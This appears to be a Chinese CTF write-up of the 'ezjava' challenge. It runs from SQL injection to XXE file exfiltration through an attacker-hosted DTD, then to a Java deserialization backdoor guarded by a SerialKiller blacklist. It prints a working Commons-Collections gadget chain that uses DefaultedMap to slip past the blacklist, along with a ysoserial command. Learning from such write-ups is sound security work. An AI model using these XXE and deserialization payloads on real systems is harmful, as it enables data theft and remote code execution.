绿城杯 – ezjava

/ 0评 / 0

绿城杯 - ezjava

SQL注入

这题属于是调一天

前台SQL注入 直接sqlmap跑就可以了

能拿到密码

admin ZM3vFeqaAI7LbIbx

xxe读文件

登录后后台xxe把数据带出来

<!DOCTYPE foo [
    <!ENTITY % file SYSTEM "file:////usr/local/tomcat/webapps/ROOT/META-INF/MANIFEST.MF">
    <!ENTITY  % xxe SYSTEM "http://13/1.dtd" >
    %xxe;
    %send;
]>

1.dtd

<!ENTITY % all
"<!ENTITY % send SYSTEM '<http://1/?%file;>'>"
>
%all;

可以先用netdoc协议列目录出来

image-20210929191817217

这里看到了/readflag那肯定是要命令执行了

读了根目录下的hint.txt,提示源码中留了个后门

然后就开始了无尽的列目录猜目录读文件,最后读到了后门文件

package com.ctf.app.controller;
import org.nibblesec.tools.SerialKiller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
@Controller
public class UnserController {
    @PostMapping("/uns3r_y0u_n3ver_k0nw")
    public void unser(HttpServletRequest request, String payload) throws Exception{
        HttpSession session =  request.getSession();
        if(session.getAttribute("uid")!=null) {
            byte[] bytes = Base64.getDecoder().decode(payload);
            ObjectInputStream ois = new SerialKiller(new ByteArrayInputStream(bytes), UnserController.class.getClassLoader().getResource("").getPath() + "config/serialkiller.xml");
            ois.readObject();
        }
    }
}

以及他的黑名单

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to false for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <blacklist>
        <regexps>
            <regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
            <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
            <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
            <regexp>org\.apache\.commons\.collections\.map\.LazyMap</regexp>
            <regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>
            <regexp>java\.rmi\.registry\.Registry$</regexp>
            <regexp>java\.rmi\.server\.ObjID$</regexp>
            <regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
            <regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
            <regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>
            <regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>
            <regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>
            <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
            <regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>
            <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
            <regexp>java\.util\.PriorityQueue$</regexp>
            <regexp>java\.lang\.reflect\.Proxy$</regexp>
            <regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>
            <regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>
            <regexp>java\.beans\.EventHandler$</regexp>
            <regexp>java\.util\.Comparator$</regexp>
            <regexp>org\.reflections\.Reflections$</regexp>
        </regexps>
    </blacklist>
    <whitelist>
        <regexps>
            <regexp>.*</regexp>
        </regexps>
    </whitelist>
</config>

可以发现这里过滤了非常多的东西

反序列化

给的后门非常明确了,反序列化Rce

通过查看靶机版本为8u292.

这里就开始了无尽的踩坑之路

本机搭环境。在8u172下进行测试

本来使用URLDNS可以绕过这些黑名单,在yso下写个JRMPClient2 。远程通过

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1097 CommonsCollections3 'touch /tmp/success'

可以成功创建文件。此时本地测试通过

但是远程环境8u292,无论如何也打不通。当时猜测是需要绕jep290调了一天。没调出来

后面给了hint

serialkiller对org.apache.commons.collections.Transformer起到作用了吗、CC3 + CC6

那就是修改CC链子了

但是过滤了

- org\.apache\.commons\.collections\.Transformer
- org\.apache\.commons\.collections\.map\.LazyMap
- org\.apache\.commons\.collections\.functors\.InvokerTransformer

和出题师傅交流了一下。他的出题灵感来自于P牛的JAVA安全漫谈14

image-20210929203800037

CC3利用链解决的正是org.apache.commons.collections.functors.InvokerTransformer过滤的问题

CC库在3.2版本增加了org.apache.commons.collections.map.DefaultedMap,其和LazyMap逻辑差不多,可以直接代替使用

所以魔改下调用

https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections3.java

将调用TransformedMap的部分改为调用DefaultedMap

按照DefaultedMap的方法构造反序列化

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;
public class Payload {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map hashMap = new HashMap();
        Map outerMap = DefaultedMap.decorate(hashMap, transformerChain);
        // 用恶意Map初始化TiedMapEntry类
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
        // 将构造好的TiedMapEntry对象作为HashMap的一个key
        HashMap evalMap = new HashMap();
        evalMap.put(tiedMapEntry, "test");
        outerMap.remove("key");
        // 用反射设置把恶意构造的Transformer
        Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
        // 设置权限
        declaredFields.setAccessible(true);
        declaredFields.set(transformerChain, transformers);
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(evalMap);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
    }
}

其中恶意类EvilTemplatesImpl.class为要执行的恶意代码

生成payload后发送。可以发现成功生成了success文件

image-20210929205614339

当然,这里是服务器返回了500,可以通过反弹shell 或者将readflag的内容写到tmp下 通过刚开始的xxe读flag

如何将回显带出来呢

这里可以利用springframeworkgetRequest()getResponse()方法将回显带出来。这种带回显的方式已经很常见了,相信有经验的师傅可以很快的写出demo

所以最终的结果是

image-20210929210004485

结语

我认为题目本身是对JAVA安全的掌握程度的考察,除了一开始的注入猜了半天。对于CC链改写的部分还是很考验对CC链的理解程度以及各种方法的调用结果。

也在这题目中学到了很多

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注